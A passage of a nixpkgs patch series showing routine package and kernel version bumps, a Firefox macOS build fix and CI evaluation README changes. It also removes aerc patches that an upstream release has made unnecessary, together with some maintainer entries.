 pkgs/by-name/fi/firefly-iii-data-importer/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
index d83d63924394..53dca5cad059 100644
--- a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
+++ b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii-data-importer";
-  version = "1.7.9";
+  version = "1.7.10";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "data-importer";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-CKw4FnEJVZHt7W7kxJRjTx0lW3akYap7VVil5cFSJZU=";
+    hash = "sha256-6C9ztbmYONhnNPZtZC0dQzU5qM8fqyigPVDKBhO7x8Y=";
   };
 
   buildInputs = [ php84 ];
@@ -38,12 +38,12 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   composerStrictValidation = true;
   strictDeps = true;
 
-  vendorHash = "sha256-0qfpta3l7KXofzAw7V14KU9mRzPPSoh9435Z+Xj3cqU=";
+  vendorHash = "sha256-WCh0NeTfunWrh2gur7+2Otcoa3U21ldi4JvualiatG8=";
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-hY7QcQiDIJhGJk4X4lQ3qDn9WHwMF+jn2NDkKsHXeHY=";
+    hash = "sha256-NELRAxCnvUNC1LTfktufkcNc/R8gkn6S/jt7VlOWRtg=";
   };
 
   composerRepository = php84.mkComposerRepository {

From 33f96dc275a2cc183da895d0771c3485b8d642cb Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 28 Aug 2025 18:16:18 +0300
Subject: [PATCH 3993/4511] linux_6_16: 6.16.3 -> 6.16.4

(cherry picked from commit 0db1f2b20249e3402c54d24c1c56bf1b39cc5e94)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 8da20935de80..033422b5edfb 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -40,8 +40,8 @@
         "lts": false
     },
     "6.16": {
-        "version": "6.16.3",
-        "hash": "sha256:118bg72mdrf75r36gki5zi18ynl2kcygrf24pwd58by1anh9nhw0",
+        "version": "6.16.4",
+        "hash": "sha256:08mnd8qir2vxjmgblhnqfrfbv2zlig68f4r5askk7d8h3b3y79fn",
         "lts": false
     }
 }

From 9dbb302928609df866046e3d5faf18c9bd334129 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 28 Aug 2025 18:16:25 +0300
Subject: [PATCH 3994/4511] linux_6_12: 6.12.43 -> 6.12.44

(cherry picked from commit b98378bf28d97644078e1c56d10dc7819d643cbf)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 033422b5edfb..a538c73fafdf 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -30,8 +30,8 @@
         "lts": true
     },
     "6.12": {
-        "version": "6.12.43",
-        "hash": "sha256:1vmxywg11z946i806sg7rk7jr9px87spmwwbzjxpps2nsjybpjqg",
+        "version": "6.12.44",
+        "hash": "sha256:1bmx2vpxy6nkxnmm2a3zmv9smaajfhvslj6id54j4yq2sc722l5n",
         "lts": true
     },
     "6.15": {

From 6ace103b13dad25090e47dfbd69176a218ca58c4 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 28 Aug 2025 18:16:31 +0300
Subject: [PATCH 3995/4511] linux_6_6: 6.6.102 -> 6.6.103

(cherry picked from commit 7df9103278c0c1cfcf5edb5473fc4b132c5d2db0)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index a538c73fafdf..783501d9b216 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -25,8 +25,8 @@
         "lts": true
     },
     "6.6": {
-        "version": "6.6.102",
-        "hash": "sha256:0p6yjifwyrqlppn40isgxb0b5vqmljggmnp7w75vlc2c6fvzxll0",
+        "version": "6.6.103",
+        "hash": "sha256:13mi8blsw0gps586qbvh7ga5r9pv9jld4fkbp9vaaaz6qcwdv26j",
         "lts": true
     },
     "6.12": {

From 86ce12aba2e9f521e9684c00f10fda7be537aee3 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 28 Aug 2025 18:16:35 +0300
Subject: [PATCH 3996/4511] linux_6_1: 6.1.148 -> 6.1.149

(cherry picked from commit 2f0303107becab26bfa1099eb370900445ecfe2a)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 783501d9b216..bd5f8d708d9b 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -5,9 +5,9 @@
         "lts": false
     },
     "6.1": {
-        "version": "6.1.148",
-        "hash": "sha256:18c024bqqc3srzv2gva55p95yghjc6x3p3f54v3hziki4wx3v86r",
-        "lts": false
+        "version": "6.1.149",
+        "hash": "sha256:0fdyfxw80zhkwh29m5v7xfmbyks5wi6isdq6bv96cn4ssfw0dsf4",
+        "lts": true
     },
     "5.15": {
         "version": "5.15.189",

From 1caab313dae551f7cd57df4f8ad07097349469a0 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 28 Aug 2025 18:16:41 +0300
Subject: [PATCH 3997/4511] linux_5_15: 5.15.189 -> 5.15.190

(cherry picked from commit e77b772b90d2835c61a4288eda6a54ce95ffc01d)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index bd5f8d708d9b..7234b0f3ec51 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -10,8 +10,8 @@
         "lts": true
     },
     "5.15": {
-        "version": "5.15.189",
-        "hash": "sha256:1hshd26ahn6dbw6jnqi0v5afpk672w7p09mk7iri93i7hxdh5l73",
+        "version": "5.15.190",
+        "hash": "sha256:0146lslj0my0mhcx7wfp984f270zr8iiyq9899v6f7cflkqi9f32",
         "lts": true
     },
     "5.10": {

From 3b901e18def1d6e475aea354effbd775794fa11e Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 28 Aug 2025 18:16:46 +0300
Subject: [PATCH 3998/4511] linux_5_10: 5.10.240 -> 5.10.241

(cherry picked from commit 71a2f416267e0a12eb7092123d00c88070c18233)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 7234b0f3ec51..88411908d42f 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -15,8 +15,8 @@
         "lts": true
     },
     "5.10": {
-        "version": "5.10.240",
-        "hash": "sha256:04sdcf4aqsqchii38anzmk9f9x65wv8q1x3m9dandmi6fabw724d",
+        "version": "5.10.241",
+        "hash": "sha256:1mnqjvb1hmr7p035c66k3z0idirhsj9j5zwgb92gi0ac0s1fkh88",
         "lts": true
     },
     "5.4": {

From 78f9199d91f62752f255e50d732f0bd2da001987 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 28 Aug 2025 18:16:54 +0300
Subject: [PATCH 3999/4511] linux_5_4: 5.4.296 -> 5.4.297

(cherry picked from commit 9b25238d7dd8eb13aa6773ae4672df4921c4564c)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 88411908d42f..7234a4bf12a1 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "lts": true
     },
     "5.4": {
-        "version": "5.4.296",
-        "hash": "sha256:0fm73yqzbzclh2achcj8arpg428d412k2wgmlfmyy6xzb1762qrx",
+        "version": "5.4.297",
+        "hash": "sha256:0hd8x32xgvj4qnc6cls0q21zfgvxxfz7xhbwgl48hxfggbmgq37i",
         "lts": true
     },
     "6.6": {

From 83f3975285de67d0fa451def22116944a79760eb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 26 Aug 2025 21:30:13 +0000
Subject: [PATCH 4000/4511] ed-odyssey-materials-helper: 2.240 -> 2.243

(cherry picked from commit 5aa6d13b350a6a4066ff3ec68891225eb9be39b9)
---
 pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
index efd37788d163..7df53e5d63c4 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
@@ -18,13 +18,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "ed-odyssey-materials-helper";
-  version = "2.240";
+  version = "2.243";
 
   src = fetchFromGitHub {
     owner = "jixxed";
     repo = "ed-odyssey-materials-helper";
     tag = version;
-    hash = "sha256-KRWOfLFrczOON6HiddM8g2qi2hzGfZbUsk02VvW2VyA=";
+    hash = "sha256-aeoU34U8DMdtSiNqnAPuzmRoDhgf9CIJRwB4A3Qw/EU=";
   };
 
   nativeBuildInputs = [

From 953de6877e373dd5870c7fceb547b52a639a7228 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 28 Aug 2025 12:59:25 +0200
Subject: [PATCH 4001/4511] aerc: 0.20.1 -> 0.21.0

Changelog: https://git.sr.ht/~rjarry/aerc/tree/0.21.0/item/CHANGELOG.md
(cherry picked from commit b920c5d88c49542c77d29226588e5f63720b341f)
---
 .../ae/aerc/basename-temp-file-fixup.patch    | 34 ---------------
 pkgs/by-name/ae/aerc/basename-temp-file.patch | 41 -------------------
 pkgs/by-name/ae/aerc/package.nix              | 15 ++-----
 3 files changed, 4 insertions(+), 86 deletions(-)
 delete mode 100644 pkgs/by-name/ae/aerc/basename-temp-file-fixup.patch
 delete mode 100644 pkgs/by-name/ae/aerc/basename-temp-file.patch

diff --git a/pkgs/by-name/ae/aerc/basename-temp-file-fixup.patch b/pkgs/by-name/ae/aerc/basename-temp-file-fixup.patch
deleted file mode 100644
index 07bec5bffbd8..000000000000
--- a/pkgs/by-name/ae/aerc/basename-temp-file-fixup.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 2bbe75fe0bc87ab4c1e16c5a18c6200224391629 Mon Sep 17 00:00:00 2001
-From: Nicole Patricia Mazzuca <nicole@streganil.no>
-Date: Fri, 9 May 2025 09:32:21 +0200
-Subject: [PATCH] open: fix opening text/html messages
-
-This fixes a bug introduced in 93bec0de8ed5ab3d6b1f01026fe2ef20fa154329:
-aerc started using `path.Base(<part>)`, which returns `"."` on an empty
-path, but still checked for `""` two lines later.
-
-On macOS, the result is that aerc attempts to open the directory:
-
-```
-open /var/folders/vn/hs0zvdsx3vq6svvry8s1bnym0000gn/T/aerc-4229266673: is a directory
-```
-
-Signed-off-by: Nicole Patricia Mazzuca <nicole@streganil.no>
-Acked-by: Robin Jarry <robin@jarry.cc>
----
- commands/msgview/open.go | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/commands/msgview/open.go b/commands/msgview/open.go
-index a6e43cb8da5fd49d2aa562d4c25ee2d597deefc3..7c770d4a90b771e3a18dfcb327f5e9306d5b5fa7 100644
---- a/commands/msgview/open.go
-+++ b/commands/msgview/open.go
-@@ -59,7 +59,7 @@ func (o Open) Execute(args []string) error {
- 		}
- 		filename := path.Base(part.FileName())
- 		var tmpFile *os.File
--		if filename == "" {
-+		if filename == "." {
- 			extension := ""
- 			if exts, _ := mime.ExtensionsByType(mimeType); len(exts) > 0 {
- 				extension = exts[0]
diff --git a/pkgs/by-name/ae/aerc/basename-temp-file.patch b/pkgs/by-name/ae/aerc/basename-temp-file.patch
deleted file mode 100644
index 8ca81c21db95..000000000000
--- a/pkgs/by-name/ae/aerc/basename-temp-file.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 93bec0de8ed5ab3d6b1f01026fe2ef20fa154329 Mon Sep 17 00:00:00 2001
-From: Robin Jarry <robin@jarry.cc>
-Date: Wed, 9 Apr 2025 10:49:24 +0200
-Subject: [PATCH] open: only use part basename for temp file
-
-When an attachment part has a name such as "/tmp/55208186_AllDocs.pdf",
-aerc creates a temp folder and tries to store the file by blindly
-concatenating the path as follows:
-
-	/tmp/aerc-3444057757/tmp/55208186_AllDocs.pdf
-
-And when writing to this path, it gets a "No such file or directory"
-error because the intermediate "tmp" subfolder isn't created.
-
-Reported-by: Erik Colson <eco@ecocode.net>
-Signed-off-by: Robin Jarry <robin@jarry.cc>
----
- commands/msgview/open.go | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/commands/msgview/open.go b/commands/msgview/open.go
-index 4293b7e4892c137a7f3fbbe79245ffb6733b2671..a6e43cb8da5fd49d2aa562d4c25ee2d597deefc3 100644
---- a/commands/msgview/open.go
-+++ b/commands/msgview/open.go
-@@ -5,6 +5,7 @@ import (
- 	"io"
- 	"mime"
- 	"os"
-+	"path"
- 	"path/filepath"
- 
- 	"git.sr.ht/~rjarry/aerc/app"
-@@ -56,7 +57,7 @@ func (o Open) Execute(args []string) error {
- 			app.PushError(err.Error())
- 			return
- 		}
--		filename := part.FileName()
-+		filename := path.Base(part.FileName())
- 		var tmpFile *os.File
- 		if filename == "" {
- 			extension := ""
diff --git a/pkgs/by-name/ae/aerc/package.nix b/pkgs/by-name/ae/aerc/package.nix
index 12ebcc226eb6..878962a650ec 100644
--- a/pkgs/by-name/ae/aerc/package.nix
+++ b/pkgs/by-name/ae/aerc/package.nix
@@ -16,31 +16,24 @@
 
 buildGoModule (finalAttrs: {
   pname = "aerc";
-  version = "0.20.1";
+  version = "0.21.0";
 
   src = fetchFromSourcehut {
     owner = "~rjarry";
     repo = "aerc";
     rev = finalAttrs.version;
-    hash = "sha256-IBTM3Ersm8yUCgiBLX8ozuvMEbfmY6eW5xvJD20UgRA=";
+    hash = "sha256-UBXMAIuB0F7gG0dkpEF/3V4QK6FEbQw2ZLGGmRF884I=";
   };
 
   proxyVendor = true;
-  vendorHash = "sha256-O1j0J6vCE6rap5/fOTxlUpXAG5mgZf8CfNOB4VOBxms=";
+  vendorHash = "sha256-E/DnfiHoDDNNoaNGZC/nvs8DiJ8F2+H2FzxpU7nK+bE=";
 
   nativeBuildInputs = [
     scdoc
     python3Packages.wrapPython
   ];
 
-  patches = [
-    ./runtime-libexec.patch
-
-    # TODO remove these with the next release
-    # they resolve a path injection vulnerability when saving attachments (CVE-2025-49466)
-    ./basename-temp-file.patch
-    ./basename-temp-file-fixup.patch
-  ];
+  patches = [ ./runtime-libexec.patch ];
 
   postPatch = ''
     substituteAllInPlace config/aerc.conf

From 65e687311898830d6d2cf7df2a9b71095cd40844 Mon Sep 17 00:00:00 2001
From: Ihar Hrachyshka <ihar.hrachyshka@gmail.com>
Date: Tue, 26 Aug 2025 22:25:49 -0400
Subject: [PATCH 4002/4511] firefox-beta: fix darwin build

Recent firefox started using fileport.h API. This API was exposed in SDK
15.4, but we are still running on 15.2. XNU source headers contain the
header for some time, so we can pull it from there instead.

(cherry picked from commit 5dfd85b1b982b16c43e8bd048893ead6d5bf2983)
---
 pkgs/build-support/build-mozilla-mach/default.nix | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index e3ff8c62fbb2..c40af6c28d5b 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -443,7 +443,20 @@ buildStdenv.mkDerivation {
     # linking firefox hits the vm.max_map_count kernel limit with the default musl allocator
     # TODO: Default vm.max_map_count has been increased, retest without this
     export LD_PRELOAD=${mimalloc}/lib/libmimalloc.so
-  '';
+  ''
+  +
+    # fileport.h was exposed in SDK 15.4 but we have only 15.2 in nixpkgs so far.
+    lib.optionalString
+      (
+        stdenv.hostPlatform.isDarwin
+        && lib.versionAtLeast version "143"
+        && lib.versionOlder apple-sdk_15.version "15.4"
+      )
+      ''
+        mkdir -p xnu/sys
+        cp ${apple-sdk_15.sourceRelease "xnu"}/bsd/sys/fileport.h xnu/sys
+        export CXXFLAGS="-isystem $(pwd)/xnu"
+      '';
 
   # firefox has a different definition of configurePlatforms from nixpkgs, see configureFlags
   configurePlatforms = [ ];

From d9a6405eab184e012c8ce29a81b97150f25be5c7 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 28 Aug 2025 16:41:42 +0200
Subject: [PATCH 4003/4511] ci/eval: clarify README with current defaults and
 memory requirements

We had set a default of 5000 for local evaluation earlier for
`singleSystem`, it makes sense to also use that for `full`.

The README is also a bit outdated, because Nix 2.30 significantly
changed the memory requirements. Rewriting the README to also show the
ability to directly evaluate the current system only.

(cherry picked from commit 0e0709794790105ed3303348e5bd1153fcebeaf3)
---
 ci/eval/README.md   | 25 ++++++++++++++-----------
 ci/eval/default.nix |  2 +-
 2 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/ci/eval/README.md b/ci/eval/README.md
index ec7429b7bc78..263f95f87ea7 100644
--- a/ci/eval/README.md
+++ b/ci/eval/README.md
@@ -2,25 +2,28 @@
 
 The code in this directory is used by the [eval.yml](../../.github/workflows/eval.yml) GitHub Actions workflow to evaluate the majority of Nixpkgs for all PRs, effectively making sure that when the development branches are processed by Hydra, no evaluation failures are encountered.
 
-Furthermore it also allows local evaluation using
+Furthermore it also allows local evaluation using:
+
 ```
-nix-build ci -A eval.full \
-  --max-jobs 4 \
-  --cores 2 \
-  --arg chunkSize 10000 \
-  --arg evalSystems '["x86_64-linux" "aarch64-darwin"]'
+nix-build ci -A eval.full
 ```
 
+The most important two arguments are:
+- `--arg evalSystems`: The set of systems for which `nixpkgs` should be evaluated.
+  Defaults to the four official platforms (`x86_64-linux`, `aarch64-linux`, `x86_64-darwin` and `aarch64-darwin`).
+  Example: `--arg evalSystems '["x86_64-linux" "aarch64-darwin"]'`
+- `--arg quickTest`: Enables testing a single chunk of the current system only for quick iteration.
+  Example: `--arg quickTest true`
+
+The following arguments can be used to fine-tune performance:
 - `--max-jobs`: The maximum number of derivations to run at the same time.
   Only each [supported system](../supportedSystems.json) gets a separate derivation, so it doesn't make sense to set this higher than that number.
 - `--cores`: The number of cores to use for each job.
   Recommended to set this to the amount of cores on your system divided by `--max-jobs`.
-- `chunkSize`: The number of attributes that are evaluated simultaneously on a single core.
+- `--arg chunkSize`: The number of attributes that are evaluated simultaneously on a single core.
   Lowering this decreases memory usage at the cost of increased evaluation time.
   If this is too high, there won't be enough chunks to process them in parallel, and will also increase evaluation time.
-- `evalSystems`: The set of systems for which `nixpkgs` should be evaluated.
-  Defaults to the four official platforms (`x86_64-linux`, `aarch64-linux`, `x86_64-darwin` and `aarch64-darwin`).
-
-A good default is to set `chunkSize` to 10000, which leads to about 3.6GB max memory usage per core, so suitable for fully utilising machines with 4 cores and 16GB memory, 8 cores and 32GB memory or 16 cores and 64GB memory.
+  The default is 5000.
+  Example: `--arg chunkSize 10000`
 
 Note that 16GB memory is the recommended minimum, while with less than 8GB memory evaluation time suffers greatly.
diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 8d79034db59e..0b00f121b684 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -245,7 +245,7 @@ let
       # Whether to evaluate on a specific set of systems, by default all are evaluated
       evalSystems ? if quickTest then [ "x86_64-linux" ] else supportedSystems,
       # The number of attributes per chunk, see ./README.md for more info.
-      chunkSize,
+      chunkSize ? 5000,
       quickTest ? false,
     }:
     let

From 579c4e6a608a453a58c7ed2d93970c90f23a6204 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 28 Aug 2025 16:44:52 +0200
Subject: [PATCH 4004/4511] ci/eval.full: allow local comparison with rebuilds

This allows running a full comparison between two commits locally.

What was previously `eval.full` is now called `eval.all`. The new
`eval.full` takes a `baseline` argument for the comparison.

(cherry picked from commit ccc12c839b1158763041559204e6065537c3f548)
---
 ci/eval/README.md   | 18 +++++++++++++++++-
 ci/eval/default.nix | 38 +++++++++++++++++++++++++++-----------
 2 files changed, 44 insertions(+), 12 deletions(-)

diff --git a/ci/eval/README.md b/ci/eval/README.md
index 263f95f87ea7..57cde7c65fe9 100644
--- a/ci/eval/README.md
+++ b/ci/eval/README.md
@@ -5,7 +5,7 @@ The code in this directory is used by the [eval.yml](../../.github/workflows/eva
 Furthermore it also allows local evaluation using:
 
 ```
-nix-build ci -A eval.full
+nix-build ci -A eval.baseline
 ```
 
 The most important two arguments are:
@@ -27,3 +27,19 @@ The following arguments can be used to fine-tune performance:
   Example: `--arg chunkSize 10000`
 
 Note that 16GB memory is the recommended minimum, while with less than 8GB memory evaluation time suffers greatly.
+
+## Local eval with rebuilds / comparison
+
+To compare two commits locally, first run the following on the baseline commit:
+
+```
+BASELINE=$(nix-build ci -A eval.baseline --no-out-link)
+```
+
+Then, on the commit with your changes:
+
+```
+nix-build ci -A eval.full --arg baseline $BASELINE
+```
+
+Keep in mind to otherwise pass the same set of arguments for both commands (`evalSystems`, `quickTest`, `chunkSize`).
diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 0b00f121b684..14005ea401af 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -240,7 +240,7 @@ let
 
   compare = callPackage ./compare { };
 
-  full =
+  baseline =
     {
       # Whether to evaluate on a specific set of systems, by default all are evaluated
       evalSystems ? if quickTest then [ "x86_64-linux" ] else supportedSystems,
@@ -248,21 +248,36 @@ let
       chunkSize ? 5000,
       quickTest ? false,
     }:
+    symlinkJoin {
+      name = "nixpkgs-eval-baseline";
+      paths = map (
+        evalSystem:
+        singleSystem {
+          inherit quickTest evalSystem chunkSize;
+        }
+      ) evalSystems;
+    };
+
+  full =
+    {
+      # Whether to evaluate on a specific set of systems, by default all are evaluated
+      evalSystems ? if quickTest then [ "x86_64-linux" ] else supportedSystems,
+      # The number of attributes per chunk, see ./README.md for more info.
+      chunkSize ? 5000,
+      quickTest ? false,
+      baseline,
+    }:
     let
       diffs = symlinkJoin {
-        name = "diffs";
+        name = "nixpkgs-eval-diffs";
         paths = map (
           evalSystem:
-          let
-            eval = singleSystem {
-              inherit quickTest evalSystem chunkSize;
-            };
-          in
           diff {
             inherit evalSystem;
-            # Local "full" evaluation doesn't do a real diff.
-            beforeDir = eval;
-            afterDir = eval;
+            beforeDir = baseline;
+            afterDir = singleSystem {
+              inherit quickTest evalSystem chunkSize;
+            };
           }
         ) evalSystems;
       };
@@ -280,7 +295,8 @@ in
     combine
     compare
     # The above three are used by separate VMs in a GitHub workflow,
-    # while the below is intended for testing on a single local machine
+    # while the below are intended for testing on a single local machine
+    baseline
     full
     ;
 }

From 73120866fa6e1b1e4bdf182df3e2f8650bead859 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Wed, 27 Aug 2025 10:50:44 +0200
Subject: [PATCH 4005/4511] teams/flyingcircus: remove ma27 from members

By the end of the month, I'll leave Flying Circus. Thanks a lot for the
journey together <3

The rootless-test for podman is something I decided to keep since I'm
using parts of the features covered in there myself.

(cherry picked from commit 201cb3e5190cbaa5fa484d9c8cd85fed89926855)
---
 maintainers/team-list.nix      | 1 -
 nixos/tests/oci-containers.nix | 2 +-
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/maintainers/team-list.nix b/maintainers/team-list.nix
index 0afc2ae4d8f1..fdb9994e887c 100644
--- a/maintainers/team-list.nix
+++ b/maintainers/team-list.nix
@@ -421,7 +421,6 @@ with lib.maintainers;
       frlan
       leona
       osnyx
-      ma27
     ];
     scope = "Team for Flying Circus employees who collectively maintain packages.";
     shortName = "Flying Circus employees";
diff --git a/nixos/tests/oci-containers.nix b/nixos/tests/oci-containers.nix
index d50a8c44aaa4..9d41e4baffdf 100644
--- a/nixos/tests/oci-containers.nix
+++ b/nixos/tests/oci-containers.nix
@@ -73,7 +73,7 @@ let
     type:
     makeTest {
       name = "oci-containers-podman-rootless-${type}";
-      meta.maintainers = lib.teams.flyingcircus.members;
+      meta.maintainers = lib.teams.flyingcircus.members ++ [ lib.maintainers.ma27 ];
       nodes = {
         podman =
           { pkgs, ... }:

From 9a9c4f3f2a8b3c2bdbc43ffeea1a2ffd4dcf6e48 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Wed, 27 Aug 2025 10:58:57 +0200
Subject: [PATCH 4006/4511] treewide: remove myself from a few more packages

* Stopped using wiki-js.
* I never really contributed to mpv, even though that apparently was the
  plan a while ago.
* pydash was a reverse-dependency of privacyidea which I removed long
  ago. Since then I haven't touched it anymore.

(cherry picked from commit 10d9aa38114b4812fbdddc5e0361e741f59d2d5c)
---
 pkgs/applications/video/mpv/default.nix            | 1 -
 pkgs/by-name/wi/wiki-js/package.nix                | 2 +-
 pkgs/development/python-modules/pydash/default.nix | 2 +-
 3 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/video/mpv/default.nix b/pkgs/applications/video/mpv/default.nix
index 8bb0d9277411..336d1a1136a9 100644
--- a/pkgs/applications/video/mpv/default.nix
+++ b/pkgs/applications/video/mpv/default.nix
@@ -314,7 +314,6 @@ stdenv.mkDerivation (finalAttrs: {
     maintainers = with lib.maintainers; [
       fpletz
       globin
-      ma27
       SchweGELBin
     ];
     platforms = lib.platforms.unix;
diff --git a/pkgs/by-name/wi/wiki-js/package.nix b/pkgs/by-name/wi/wiki-js/package.nix
index b4acf3dae4d2..971e5aaa0f6c 100644
--- a/pkgs/by-name/wi/wiki-js/package.nix
+++ b/pkgs/by-name/wi/wiki-js/package.nix
@@ -44,6 +44,6 @@ stdenv.mkDerivation rec {
     homepage = "https://js.wiki/";
     description = "Modern and powerful wiki app built on Node.js";
     license = licenses.agpl3Only;
-    maintainers = with maintainers; [ ma27 ];
+    maintainers = with maintainers; [ ];
   };
 }
diff --git a/pkgs/development/python-modules/pydash/default.nix b/pkgs/development/python-modules/pydash/default.nix
index 356ce206b1de..43e60d32e471 100644
--- a/pkgs/development/python-modules/pydash/default.nix
+++ b/pkgs/development/python-modules/pydash/default.nix
@@ -53,6 +53,6 @@ buildPythonPackage rec {
     homepage = "https://pydash.readthedocs.io";
     changelog = "https://github.com/dgilland/pydash/blob/v${version}/CHANGELOG.rst";
     license = licenses.mit;
-    maintainers = with maintainers; [ ma27 ];
+    maintainers = with maintainers; [ ];
   };
 }

From a7c85f2cb3fb2f4d053bc89eaeb0f0945c30a306 Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Mon, 18 Aug 2025 18:36:36 +0200
Subject: [PATCH 4007/4511] nextcloud30: 30.0.13 -> 30.0.14

(cherry picked from commit d5711e3716c6917cddafad042c85f806b9c78823)
---
 pkgs/servers/nextcloud/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/nextcloud/default.nix b/pkgs/servers/nextcloud/default.nix
index 145708bc4fdf..5de8ebe75388 100644
--- a/pkgs/servers/nextcloud/default.nix
+++ b/pkgs/servers/nextcloud/default.nix
@@ -59,8 +59,8 @@ let
 in
 {
   nextcloud30 = generic {
-    version = "30.0.13";
-    hash = "sha256-viMmo689YHK08Uza05O5Y3qj3EDK9W/TgXXuo6j/j4Y=";
+    version = "30.0.14";
+    hash = "sha256-LUT1nji4UE/98GhY9I+yVboTqsJONVzfR6Q+qiLY0EE=";
     packages = nextcloud30Packages;
   };
 

From 70ebfe9f89b55b528c1867cc4afb5f89d2604340 Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Mon, 18 Aug 2025 18:36:52 +0200
Subject: [PATCH 4008/4511] nextcloud31: 31.0.7 -> 31.0.8

(cherry picked from commit def1dbd2dd70f5675654e29e0ec4f48d3c90a945)
---
 pkgs/servers/nextcloud/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

